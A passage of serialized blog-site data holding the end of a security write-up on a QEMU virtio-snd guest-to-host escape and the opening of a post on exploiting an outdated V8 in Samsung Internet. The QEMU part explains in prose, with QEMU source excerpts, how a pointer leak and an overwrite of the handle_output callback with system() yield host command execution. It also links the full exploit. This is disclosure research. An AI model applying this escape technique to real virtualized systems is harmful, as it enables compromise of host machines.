{\n",{"type":24,"tag":930,"props":133402,"children":133403},{"class":932,"line":1628},[133404,133408],{"type":24,"tag":930,"props":133405,"children":133406},{"style":1079},[133407],{"type":30,"value":63636},{"type":24,"tag":930,"props":133409,"children":133410},{"style":959},[133411],{"type":30,"value":133412}," rx_err;\n",{"type":24,"tag":930,"props":133414,"children":133415},{"class":932,"line":1637},[133416],{"type":24,"tag":930,"props":133417,"children":133418},{"style":959},[133419],{"type":30,"value":1831},{"type":24,"tag":930,"props":133421,"children":133422},{"class":932,"line":1646},[133423,133428,133432,133436,133440,133445,133449,133454],{"type":24,"tag":930,"props":133424,"children":133425},{"style":959},[133426],{"type":30,"value":133427},"        stream_id ",{"type":24,"tag":930,"props":133429,"children":133430},{"style":1158},[133431],{"type":30,"value":1161},{"type":24,"tag":930,"props":133433,"children":133434},{"style":1002},[133435],{"type":30,"value":128300},{"type":24,"tag":930,"props":133437,"children":133438},{"style":959},[133439],{"type":30,"value":1010},{"type":24,"tag":930,"props":133441,"children":133442},{"style":1023},[133443],{"type":30,"value":133444},"hdr",{"type":24,"tag":930,"props":133446,"children":133447},{"style":959},[133448],{"type":30,"value":436},{"type":24,"tag":930,"props":133450,"children":133451},{"style":1023},[133452],{"type":30,"value":133453},"stream_id",{"type":24,"tag":930,"props":133455,"children":133456},{"style":959},[133457],{"type":30,"value":1278},{"type":24,"tag":930,"props":133459,"children":133460},{"class":932,"line":1673},[133461],{"type":24,"tag":930,"props":133462,"children":133463},{"emptyLinePlaceholder":16},[133464],{"type":30,"value":2412},{"type":24,"tag":930,"props":133466,"children":133467},{"class":932,"line":1692},[133468],{"type":24,"tag":930,"props":133469,"children":133470},{"style":959},[133471],{"type":30,"value":126467},{"type":24,"tag":930,"props":133473,"children":133474},{"class":932,"line":1730},[133475],{"type":24,"tag":930,"props":133476,"children":133477},{"emptyLinePlaceholder":16},[133478],{"type":30,"value":2412},{"type":24,"tag":930,"props":133480,"children":133481},{"class":932,"line":1762},[133482,133486,133490,133494,133498,133502,133506],{"type":24,"tag":930,"props":133483,"children":133484},{"style":1002},[133485],{"type":30,"value":126482},{"type":24,"tag":930,"props":133487,"children":133488},{"style":959},[133489],{"type":30,"value":1010},{"type":24,"tag":930,"props":133491,"children":133492},{"style":1158},[133493],{"type":30,"value":6230},{"type":24,"tag":930,"props":133495,"children":133496},{"style":1023},[133497],{"type":30,"value":39349},{"type":24,"tag":930,"props":133499,"children":133500},{"style":959},[133501],{"type":30,"value":16864},{"type":24,"tag":930,"props":133503,"children":133504},{"style":1023},[133505],{"type":30,"value":126503},{"type":24,"tag":930,"props":133507,"children":133508},{"style":959},[133509],{"type":30,"value":1503},{"type":24,"tag":930,"props":133511,"children":133512},{"class":932,"line":1775},[133513,133517,133521,133525,133529,133533,133537,133541,133545,133549,133553,133557,133561],{"type":24,"tag":930,"props":133514,"children":133515},{"style":959},[133516],{"type":30,"value":126515},{"type":24,"tag":930,"props":133518,"children":133519},{"style":1158},[133520],{"type":30,"value":1161},{"type":24,"tag":930,"props":133522,"children":133523},{"style":1002},[133524],{"type":30,"value":126524},{"type":24,"tag":930,"props":133526,"children":133527},{"style":959},[133528],{"type":30,"value":1010},{"type":24,"tag":930,"props":133530,"children":133531},{"style":1023},[133532],{"type":30,"value":55153},{"type":24,"tag":930,"props":133534,"children":133535},{"style":959},[133536],{"type":30,"value":16864},{"type":24,"tag":930,"props":133538,"children":133539},{"style":1023},[133540],{"type":30,"value":126541},{"type":24,"tag":930,"props":133542,"children":133543},{"style":959},[133544],{"type":30,"value":962},{"type":24,"tag":930,"props":133546,"children":133547},{"style":1023},[133548],{"type":30,"value":55153},{"type":24,"tag":930,"props":133550,"children":133551},{"style":959},[133552],{"type":30,"value":16864},{"type":24,"tag":930,"props":133554,"children":133555},{"style":1023},[133556],{"type":30,"value":126558},{"type":24,"tag":930,"props":133558,"children":133559},{"style":959},[133560],{"type":30,"value":5579},{"type":24,"tag":930,"props":133562,"children":133563},{"style":1158},[133564],{"type":30,"value":53950},{"type":24,"tag":930,"props":133566,"children":133567},{"class":932,"line":1825},[133568,133572],{"type":24,"tag":930,"props":133569,"children":133570},{"style":937},[133571],{"type":30,"value":126574},{"type":24,"tag":930,"props":133573,"children":133574},{"style":959},[133575],{"type":30,"value":133576},"(virtio_snd_pcm_status);\n",{"type":24,"tag":930,"props":133578,"children":133579},{"class":932,"line":1834},[133580,133584,133588,133592,133596,133600,133604,133608,133613],{"type":24,"tag":930,"props":133581,"children":133582},{"style":959},[133583],{"type":30,"value":126592},{"type":24,"tag":930,"props":133585,"children":133586},{"style":1158},[133587],{"type":30,"value":1161},{"type":24,"tag":930,"props":133589,"children":133590},{"style":1002},[133591],{"type":30,"value":126601},{"type":24,"tag":930,"props":133593,"children":133594},{"style":959},[133595],{"type":30,"value":1010},{"type":24,"tag":930,"props":133597,"children":133598},{"style":937},[133599],{"type":30,"value":58417},{"type":24,"tag":930,"props":133601,"children":133602},{"style":959},[133603],{"type":30,"value":126614},{"type":24,"tag":930,"props":133605,"children":133606},{"style":1158},[133607],{"type":30,"value":1400},{"type":24,"tag":930,"props":133609,"children":133610},{"style":959},[133611],{"type":30,"value":133612}," size);",{"type":24,"tag":930,"props":133614,"children":133615},{"style":1422},[133616],{"type":30,"value":133617},"    // [1]\n",{"type":24,"tag":930,"props":133619,"children":133620},{"class":932,"line":1843},[133621,133625,133629,133633,133637],{"type":24,"tag":930,"props":133622,"children":133623},{"style":1023},[133624],{"type":30,"value":126631},{"type":24,"tag":930,"props":133626,"children":133627},{"style":959},[133628],{"type":30,"value":16864},{"type":24,"tag":930,"props":133630,"children":133631},{"style":1023},[133632],{"type":30,"value":55153},{"type":24,"tag":930,"props":133634,"children":133635},{"style":1158},[133636],{"type":30,"value":6137},{"type":24,"tag":930,"props":133638,"children":133639},{"style":959},[133640],{"type":30,"value":126648},{"type":24,"tag":930,"props":133642,"children":133643},{"class":932,"line":1851},[133644,133648,133652,133656,133660,133665],{"type":24,"tag":930,"props":133645,"children":133646},{"style":1023},[133647],{"type":30,"value":126631},{"type":24,"tag":930,"props":133649,"children":133650},{"style":959},[133651],{"type":30,"value":16864},{"type":24,"tag":930,"props":133653,"children":133654},{"style":1023},[133655],{"type":30,"value":126300},{"type":24,"tag":930,"props":133657,"children":133658},{"style":1158},[133659],{"type":30,"value":6137},{"type":24,"tag":930,"props":133661,"children":133662},{"style":959},[133663],{"type":30,"value":133664}," vq;",{"type":24,"tag":930,"props":133666,"children":133667},{"style":1422},[133668],{"type":30,"value":133669},"                                            // [2]\n",{"type":24,"tag":930,"props":133671,"children":133672},{"class":932,"line":1919},[133673,133677,133681,133685,133689,133693],{"type":24,"tag":930,"props":133674,"children":133675},{"style":1023},[133676],{"type":30,"value":126631},{"type":24,"tag":930,"props":133678,"children":133679},{"style":959},[133680],{"type":30,"value":16864},{"type":24,"tag":930,"props":133682,"children":133683},{"style":1023},[133684],{"type":30,"value":126688},{"type":24,"tag":930,"props":133686,"children":133687},{"style":1158},[133688],{"type":30,"value":6137},{"type":24,"tag":930,"props":133690,"children":133691},{"style":1242},[133692],{"type":30,"value":1245},{"type":24,"tag":930,"props":133694,"children":133695},{"style":959},[133696],{"type":30,"value":5539},{"type":24,"tag":930,"props":133698,"children":133699},{"class":932,"line":1927},[133700,133704,133708,133712,133716,133720],{"type":24,"tag":930,"props":133701,"children":133702},{"style":1023},[133703],{"type":30,"value":126631},{"type":24,"tag":930,"props":133705,"children":133706},{"style":959},[133707],{"type":30,"value":16864},{"type":24,"tag":930,"props":133709,"children":133710},{"style":1023},[133711],{"type":30,"value":17008},{"type":24,"tag":930,"props":133713,"children":133714},{"style":1158},[133715],{"type":30,"value":6137},{"type":24,"tag":930,"props":133717,"children":133718},{"style":1242},[133719],{"type":30,"value":1245},{"type":24,"tag":930,"props":133721,"children":133722},{"style":959},[133723],{"type":30,"value":5539},{"type":24,"tag":930,"props":133725,"children":133726},{"class":932,"line":1935},[133727,133731,133735,133739,133743,133747,133751],{"type":24,"tag":930,"props":133728,"children":133729},{"style":1002},[133730],{"type":30,"value":126735},{"type":24,"tag":930,"props":133732,"children":133733},{"style":959},[133734],{"type":30,"value":1010},{"type":24,"tag":930,"props":133736,"children":133737},{"style":1158},[133738],{"type":30,"value":6230},{"type":24,"tag":930,"props":133740,"children":133741},{"style":1023},[133742],{"type":30,"value":39349},{"type":24,"tag":930,"props":133744,"children":133745},{"style":959},[133746],{"type":30,"value":16864},{"type":24,"tag":930,"props":133748,"children":133749},{"style":1023},[133750],{"type":30,"value":126756},{"type":24,"tag":930,"props":133752,"children":133753},{"style":959},[133754],{"type":30,"value":133755},", buffer, entry);\n",{"type":24,"tag":930,"props":133757,"children":133758},{"class":932,"line":1943},[133759],{"type":24,"tag":930,"props":133760,"children":133761},{"style":959},[133762],{"type":30,"value":1831},{"type":24,"tag":33,"props":133764,"children":133765},{},[133766,133767,133772,133774,133779,133781,133786,133788,133794],{"type":30,"value":126810},{"type":24,"tag":156,"props":133768,"children":133770},{"className":133769},[],[133771],{"type":30,"value":126816},{"type":30,"value":133773},", QEMU allocates a ",{"type":24,"tag":156,"props":133775,"children":133777},{"className":133776},[],[133778],{"type":30,"value":126953},{"type":30,"value":133780}," whose size depends on the guest-provided iovec, and at ",{"type":24,"tag":156,"props":133782,"children":133784},{"className":133783},[],[133785],{"type":30,"value":126851},{"type":30,"value":133787}," it stores the ",{"type":24,"tag":156,"props":133789,"children":133791},{"className":133790},[],[133792],{"type":30,"value":133793},"VirtQueue *vq",{"type":30,"value":133795}," pointer into the buffer.",{"type":24,"tag":33,"props":133797,"children":133798},{},[133799,133800,133806],{"type":30,"value":67302},{"type":24,"tag":156,"props":133801,"children":133803},{"className":133802},[],[133804],{"type":30,"value":133805},"VirtQueue",{"type":30,"value":133807}," structure contains some useful fields:",{"type":24,"tag":920,"props":133809,"children":133811},{"code":133810,"language":6268,"meta":7,"className":19616,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[133812],{"type":24,"tag":156,"props":133813,"children":133814},{"__ignoreMap":7},[133815,133827,133834,133841,133848,133856,133873,133880,133887],{"type":24,"tag":930,"props":133816,"children":133817},{"class":932,"line":933},[133818,133822],{"type":24,"tag":930,"props":133819,"children":133820},{"style":937},[133821],{"type":30,"value":12509},{"type":24,"tag":930,"props":133823,"children":133824},{"style":959},[133825],{"type":30,"value":133826}," VirtQueue\n",{"type":24,"tag":930,"props":133828,"children":133829},{"class":932,"line":984},[133830],{"type":24,"tag":930,"props":133831,"children":133832},{"style":959},[133833],{"type":30,"value":13987},{"type":24,"tag":930,"props":133835,"children":133836},{"class":932,"line":993},[133837],{"type":24,"tag":930,"props":133838,"children":133839},{"style":959},[133840],{"type":30,"value":2923},{"type":24,"tag":930,"props":133842,"children":133843},{"class":932,"line":1057},[133844],{"type":24,"tag":930,"props":133845,"children":133846},{"emptyLinePlaceholder":16},[133847],{"type":30,"value":2412},{"type":24,"tag":930,"props":133849,"children":133850},{"class":932,"line":1066},[133851],{"type":24,"tag":930,"props":133852,"children":133853},{"style":959},[133854],{"type":30,"value":133855},"    VirtIOHandleOutput handle_output;\n",{"type":24,"tag":930,"props":133857,"children":133858},{"class":932,"line":1075},[133859,133864,133868],{"type":24,"tag":930,"props":133860,"children":133861},{"style":959},[133862],{"type":30,"value":133863},"    VirtIODevice ",{"type":24,"tag":930,"props":133865,"children":133866},{"style":1158},[133867],{"type":30,"value":1410},{"type":24,"tag":930,"props":133869,"children":133870},{"style":959},[133871],{"type":30,"value":133872},"vdev;\n",{"type":24,"tag":930,"props":133874,"children":133875},{"class":932,"line":1122},[133876],{"type":24,"tag":930,"props":133877,"children":133878},{"emptyLinePlaceholder":16},[133879],{"type":30,"value":2412},{"type":24,"tag":930,"props":133881,"children":133882},{"class":932,"line":1131},[133883],{"type":24,"tag":930,"props":133884,"children":133885},{"style":959},[133886],{"type":30,"value":2923},{"type":24,"tag":930,"props":133888,"children":133889},{"class":932,"line":1144},[133890],{"type":24,"tag":930,"props":133891,"children":133892},{"style":959},[133893],{"type":30,"value":19679},{"type":24,"tag":33,"props":133895,"children":133896},{},[133897,133898,133904,133906,133912],{"type":30,"value":259},{"type":24,"tag":156,"props":133899,"children":133901},{"className":133900},[],[133902],{"type":30,"value":133903},".handle_output",{"type":30,"value":133905}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":24,"tag":156,"props":133907,"children":133909},{"className":133908},[],[133910],{"type":30,"value":133911},".vdev",{"type":30,"value":133913}," is the pointer passed to it as the first argument:",{"type":24,"tag":920,"props":133915,"children":133917},{"code":133916,"language":6268,"meta":7,"className":19616,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[133918],{"type":24,"tag":156,"props":133919,"children":133920},{"__ignoreMap":7},[133921,133954,133961,134016,134053,134060,134067,134074,134095,134102,134109,134116],{"type":24,"tag":930,"props":133922,"children":133923},{"class":932,"line":933},[133924,133928,133932,133937,133942,133946,133950],{"type":24,"tag":930,"props":133925,"children":133926},{"style":937},[133927],{"type":30,"value":54133},{"type":24,"tag":930,"props":133929,"children":133930},{"style":937},[133931],{"type":30,"value":54138},{"type":24,"tag":930,"props":133933,"children":133934},{"style":1002},[133935],{"type":30,"value":133936}," virtio_queue_notify_vq",{"type":24,"tag":930,"props":133938,"children":133939},{"style":959},[133940],{"type":30,"value":133941},"(VirtQueue ",{"type":24,"tag":930,"props":133943,"children":133944},{"style":1158},[133945],{"type":30,"value":1410},{"type":24,"tag":930,"props":133947,"children":133948},{"style":1023},[133949],{"type":30,"value":126300},{"type":24,"tag":930,"props":133951,"children":133952},{"style":959},[133953],{"type":30,"value":1054},{"type":24,"tag":930,"props":133955,"children":133956},{"class":932,"line":984},[133957],{"type":24,"tag":930,"props":133958,"children":133959},{"style":959},[133960],{"type":30,"value":13987},{"type":24,"tag":930,"props":133962,"children":133963},{"class":932,"line":993},[133964,133968,133972,133976,133980,133985,133989,133994,133998,134003,134007,134012],{"type":24,"tag":930,"props":133965,"children":133966},{"style":1079},[133967],{"type":30,"value":15386},{"type":24,"tag":930,"props":133969,"children":133970},{"style":959},[133971],{"type":30,"value":1087},{"type":24,"tag":930,"props":133973,"children":133974},{"style":1023},[133975],{"type":30,"value":126300},{"type":24,"tag":930,"props":133977,"children":133978},{"style":959},[133979],{"type":30,"value":16864},{"type":24,"tag":930,"props":133981,"children":133982},{"style":1023},[133983],{"type":30,"value":133984},"vring",{"type":24,"tag":930,"props":133986,"children":133987},{"style":959},[133988],{"type":30,"value":436},{"type":24,"tag":930,"props":133990,"children":133991},{"style":1023},[133992],{"type":30,"value":133993},"desc",{"type":24,"tag":930,"props":133995,"children":133996},{"style":1158},[133997],{"type":30,"value":17291},{"type":24,"tag":930,"props":133999,"children":134000},{"style":1023},[134001],{"type":30,"value":134002}," vq",{"type":24,"tag":930,"props":134004,"children":134005},{"style":959},[134006],{"type":30,"value":16864},{"type":24,"tag":930,"props":134008,"children":134009},{"style":1023},[134010],{"type":30,"value":134011},"handle_output",{"type":24,"tag":930,"props":134013,"children":134014},{"style":959},[134015],{"type":30,"value":1503},{"type":24,"tag":930,"props":134017,"children":134018},{"class":932,"line":1057},[134019,134024,134028,134033,134037,134041,134045,134049],{"type":24,"tag":930,"props":134020,"children":134021},{"style":959},[134022],{"type":30,"value":134023},"        VirtIODevice ",{"type":24,"tag":930,"props":134025,"children":134026},{"style":1158},[134027],{"type":30,"value":1410},{"type":24,"tag":930,"props":134029,"children":134030},{"style":959},[134031],{"type":30,"value":134032},"vdev ",{"type":24,"tag":930,"props":134034,"children":134035},{"style":1158},[134036],{"type":30,"value":1161},{"type":24,"tag":930,"props":134038,"children":134039},{"style":1023},[134040],{"type":30,"value":134002},{"type":24,"tag":930,"props":134042,"children":134043},{"style":959},[134044],{"type":30,"value":16864},{"type":24,"tag":930,"props":134046,"children":134047},{"style":1023},[134048],{"type":30,"value":126286},{"type":24,"tag":930,"props":134050,"children":134051},{"style":959},[134052],{"type":30,"value":5539},{"type":24,"tag":930,"props":134054,"children":134055},{"class":932,"line":1066},[134056],{"type":24,"tag":930,"props":134057,"children":134058},{"emptyLinePlaceholder":16},[134059],{"type":30,"value":2412},{"type":24,"tag":930,"props":134061,"children":134062},{"class":932,"line":1075},[134063],{"type":24,"tag":930,"props":134064,"children":134065},{"style":959},[134066],{"type":30,"value":126467},{"type":24,"tag":930,"props":134068,"children":134069},{"class":932,"line":1122},[134070],{"type":24,"tag":930,"props":134071,"children":134072},{"emptyLinePlaceholder":16},[134073],{"type":30,"value":2412},{"type":24,"tag":930,"props":134075,"children":134076},{"class":932,"line":1131},[134077,134082,134086,134090],{"type":24,"tag":930,"props":134078,"children":134079},{"style":1023},[134080],{"type":30,"value":134081},"        vq",{"type":24,"tag":930,"props":134083,"children":134084},{"style":959},[134085],{"type":30,"value":16864},{"type":24,"tag":930,"props":134087,"children":134088},{"style":1002},[134089],{"type":30,"value":134011},{"type":24,"tag":930,"props":134091,"children":134092},{"style":959},[134093],{"type":30,"value":134094},"(vdev, vq);\n",{"type":24,"tag":930,"props":134096,"children":134097},{"class":932,"line":1144},[134098],{"type":24,"tag":930,"props":134099,"children":134100},{"emptyLinePlaceholder":16},[134101],{"type":30,"value":2412},{"type":24,"tag":930,"props":134103,"children":134104},{"class":932,"line":1169},[134105],{"type":24,"tag":930,"props":134106,"children":134107},{"style":959},[134108],{"type":30,"value":126467},{"type":24,"tag":930,"props":134110,"children":134111},{"class":932,"line":1191},[134112],{"type":24,"tag":930,"props":134113,"children":134114},{"style":959},[134115],{"type":30,"value":1840},{"type":24,"tag":930,"props":134117,"children":134118},{"class":932,"line":1223},[134119],{"type":24,"tag":930,"props":134120,"children":134121},{"style":959},[134122],{"type":30,"value":2528},{"type":24,"tag":33,"props":134124,"children":134125},{},[134126,134128,134133,134135,134140,134142,134148,134150,134155,134156,134161,134163,134168],{"type":30,"value":134127},"This means that if we free the known-address chunk and replace it with a ",{"type":24,"tag":156,"props":134129,"children":134131},{"className":134130},[],[134132],{"type":30,"value":126953},{"type":30,"value":134134}," - which is straightforward, since we control the buffer allocation size through the ",{"type":24,"tag":156,"props":134136,"children":134138},{"className":134137},[],[134139],{"type":30,"value":126541},{"type":30,"value":134141}," iovec - we can use the arbitrary read primitive to read its ",{"type":24,"tag":156,"props":134143,"children":134145},{"className":134144},[],[134146],{"type":30,"value":134147},".vq",{"type":30,"value":134149}," pointer, then follow that pointer to leak ",{"type":24,"tag":156,"props":134151,"children":134153},{"className":134152},[],[134154],{"type":30,"value":133903},{"type":30,"value":19155},{"type":24,"tag":156,"props":134157,"children":134159},{"className":134158},[],[134160],{"type":30,"value":133805},{"type":30,"value":134162}," structure. In our case, that field points to ",{"type":24,"tag":156,"props":134164,"children":134166},{"className":134165},[],[134167],{"type":30,"value":126193},{"type":30,"value":134169},", which gives us QEMU's base address.",{"type":24,"tag":33,"props":134171,"children":134172},{},[134173,134175,134181],{"type":30,"value":134174},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":24,"tag":156,"props":134176,"children":134178},{"className":134177},[],[134179],{"type":30,"value":134180},"system",{"type":30,"value":436},{"type":24,"tag":151,"props":134183,"children":134185},{"id":134184},"rip-control",[134186],{"type":30,"value":134187},"RIP Control",{"type":24,"tag":33,"props":134189,"children":134190},{},[134191,134193,134198,134200,134206],{"type":30,"value":134192},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":24,"tag":156,"props":134194,"children":134196},{"className":134195},[],[134197],{"type":30,"value":134180},{"type":30,"value":134199},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":24,"tag":156,"props":134201,"children":134203},{"className":134202},[],[134204],{"type":30,"value":134205},"VirtQueue.handle_output",{"type":30,"value":436},{"type":24,"tag":33,"props":134208,"children":134209},{},[134210,134212,134217,134219,134224,134226,134231],{"type":30,"value":134211},"We overwrite ",{"type":24,"tag":156,"props":134213,"children":134215},{"className":134214},[],[134216],{"type":30,"value":133903},{"type":30,"value":134218}," with the address of ",{"type":24,"tag":156,"props":134220,"children":134222},{"className":134221},[],[134223],{"type":30,"value":134180},{"type":30,"value":134225}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":24,"tag":156,"props":134227,"children":134229},{"className":134228},[],[134230],{"type":30,"value":133911},{"type":30,"value":134232}," with the address of that command string, so it is passed as the first argument.",{"type":24,"tag":33,"props":134234,"children":134235},{},[134236,134238,134244,134246,134252,134254,134260],{"type":30,"value":134237},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":24,"tag":156,"props":134239,"children":134241},{"className":134240},[],[134242],{"type":30,"value":134243},"virtio_queue_notify_vq",{"type":30,"value":134245},", which calls ",{"type":24,"tag":156,"props":134247,"children":134249},{"className":134248},[],[134250],{"type":30,"value":134251},"vq->handle_output(vq->vdev)",{"type":30,"value":134253}," - or, after our overwrites, ",{"type":24,"tag":156,"props":134255,"children":134257},{"className":134256},[],[134258],{"type":30,"value":134259},"system(command)",{"type":30,"value":436},{"type":24,"tag":33,"props":134262,"children":134263},{},[134264,134266,134272,134274],{"type":30,"value":134265},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":24,"tag":156,"props":134267,"children":134269},{"className":134268},[],[134270],{"type":30,"value":134271},"gnome-calculator",{"type":30,"value":134273}," on the host system:\n",{"type":24,"tag":34060,"props":134275,"children":134276},{},[],{"type":24,"tag":134278,"props":134279,"children":134288},"tweet-card",{"author-name":134280,"date":134281,"duration":134282,"handle":134283,"media-mime-type":134284,"media-src":134285,"media-type":134286,"tweet-url":134287},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[134289,134294,134299],{"type":24,"tag":33,"props":134290,"children":134291},{},[134292],{"type":30,"value":134293},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":24,"tag":33,"props":134295,"children":134296},{},[134297],{"type":30,"value":134298},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":24,"tag":33,"props":134300,"children":134301},{},[134302],{"type":30,"value":134303},"Writeup coming next week.",{"type":24,"tag":34060,"props":134305,"children":134306},{},[],{"type":24,"tag":33,"props":134308,"children":134309},{},[134310,134312,134318,134320,134326],{"type":30,"value":134311},"The final exploit, targeting QEMU commit ",{"type":24,"tag":156,"props":134313,"children":134315},{"className":134314},[],[134316],{"type":30,"value":134317},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":30,"value":134319}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":24,"tag":37,"props":134321,"children":134324},{"href":134322,"rel":134323},"https://github.com/otter-sec/qemu-escape",[41],[134325],{"type":30,"value":50674},{"type":30,"value":436},{"type":24,"tag":33,"props":134328,"children":134329},{},[134330,134332,134339],{"type":30,"value":134331},"Special thanks to ",{"type":24,"tag":37,"props":134333,"children":134336},{"href":134334,"rel":134335},"https://www.willsroot.io/",[41],[134337],{"type":30,"value":134338},"William Liu",{"type":30,"value":134340}," for proofreading this post and helping us polish it before publication.",{"type":24,"tag":68,"props":134342,"children":134343},{"id":5876},[134344],{"type":30,"value":5879},{"type":24,"tag":33,"props":134346,"children":134347},{},[134348],{"type":30,"value":134349},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":24,"tag":33,"props":134351,"children":134352},{},[134353],{"type":30,"value":134354},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":24,"tag":5957,"props":134356,"children":134357},{},[134358],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":134360},[134361,134364,134367,134376],{"id":126089,"depth":984,"text":126102,"children":134362},[134363],{"id":126110,"depth":993,"text":126113},{"id":126134,"depth":984,"text":126137,"children":134365},[134366],{"id":126148,"depth":993,"text":126148},{"id":103172,"depth":984,"text":103175,"children":134368},[134369,134370,134371,134372,134373,134374,134375],{"id":128740,"depth":993,"text":128743},{"id":130267,"depth":993,"text":130270},{"id":131061,"depth":993,"text":131064},{"id":131466,"depth":993,"text":131469},{"id":131682,"depth":993,"text":131685},{"id":131888,"depth":993,"text":131891},{"id":134184,"depth":993,"text":134187},{"id":5876,"depth":984,"text":5879},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":134381,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":134382,"description":134383,"date":134384,"author":134385,"image":134388,"isFeatured":16,"onBlogPage":16,"tags":134390,"body":134393,"_type":5983,"_id":144301,"_source":5985,"_file":144302,"_stem":144303,"_extension":5988},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[126085,134386,134387],"jamie","william",{"src":134389,"width":14,"height":15},"/posts/mobile-renderer-rce/title.png",[134391,134392],"RCE","mobile",{"type":21,"children":134394,"toc":144281},[134395,134399,134404,134418,134424,134438,134459,134467,134480,134488,134501,134507,134520,134534,134540,134554,134657,134662,134670,134675,134680,134701,134779,134787,134806,134819,134825,134831,134845,134961,134966,134971,134979,134984,134992,135020,135049,135061,135237,135242,135250,135269,135282,135288,135308,135322,135327,135332,135360,135396,135465,135471,135493,135498,135506,135519,135524,135532,135537,135576,135582,135595,135600,135778,135788,135796,135816,135840,135853,135859,135864,136506,136511,136519,136561,138550,138555,138563,138569,138602,138620,138790,138848,138873,138967,138972,139763,139768,139776,139787,141831,141836,141844,141850,141872,141886,141899,141911,141941,141946,142387,142415,142522,142539,142696,142701,142713,143009,143035,143058,143190,143202,143207,143359,143395,143408,143413,143535,143576,143653,143658,144232,144238,144250,144263,144267,144272,144277],{"type":24,"tag":68,"props":134396,"children":134397},{"id":27},[134398],{"type":30,"value":31},{"type":24,"tag":33,"props":134400,"children":134401},{},[134402],{"type":30,"value":134403},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":24,"tag":33,"props":134405,"children":134406},{},[134407,134409,134416],{"type":30,"value":134408},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":24,"tag":37,"props":134410,"children":134413},{"href":134411,"rel":134412},"https://cor.team",[41],[134414],{"type":30,"value":134415},"Crusaders of Rust",{"type":30,"value":134417}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":24,"tag":151,"props":134419,"children":134421},{"id":134420},"finding-the-v8-version",[134422],{"type":30,"value":134423},"Finding the V8 Version",{"type":24,"tag":33,"props":134425,"children":134426},{},[134427,134429,134436],{"type":30,"value":134428},"We started by pulling Samsung Internet's APK from the device over ",{"type":24,"tag":37,"props":134430,"children":134433},{"href":134431,"rel":134432},"https://developer.android.com/tools/adb",[41],[134434],{"type":30,"value":134435},"adb",{"type":30,"value":134437}," and inspecting the libraries it shipped with.",{"type":24,"tag":33,"props":134439,"children":134440},{},[134441,134443,134449,134451,134457],{"type":30,"value":134442},"After extracting the APK, we searched the ",{"type":24,"tag":156,"props":134444,"children":134446},{"className":134445},[],[134447],{"type":30,"value":134448},"lib/",{"type":30,"value":134450}," directory for ",{"type":24,"tag":156,"props":134452,"children":134454},{"className":134453},[],[134455],{"type":30,"value":134456},"v8::*",{"type":30,"value":134458}," symbols:",{"type":24,"tag":920,"props":134460,"children":134462},{"code":134461},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[134463],{"type":24,"tag":156,"props":134464,"children":134465},{"__ignoreMap":7},[134466],{"type":30,"value":134461},{"type":24,"tag":33,"props":134468,"children":134469},{},[134470,134472,134478],{"type":30,"value":134471},"Only one file matched our search: ",{"type":24,"tag":156,"props":134473,"children":134475},{"className":134474},[],[134476],{"type":30,"value":134477},"libterrace.so",{"type":30,"value":134479},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":24,"tag":33,"props":134481,"children":134482},{},[134483],{"type":24,"tag":140,"props":134484,"children":134487},{"alt":134485,"src":134486},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":24,"tag":33,"props":134489,"children":134490},{},[134491,134493,134499],{"type":30,"value":134492},"Surprisingly, this ",{"type":24,"tag":156,"props":134494,"children":134496},{"className":134495},[],[134497],{"type":30,"value":134498},"13.6.233.10",{"type":30,"value":134500}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":24,"tag":151,"props":134502,"children":134504},{"id":134503},"choosing-the-bug",[134505],{"type":30,"value":134506},"Choosing the Bug",{"type":24,"tag":33,"props":134508,"children":134509},{},[134510,134512,134518],{"type":30,"value":134511},"We were able to trigger a couple of bugs on our 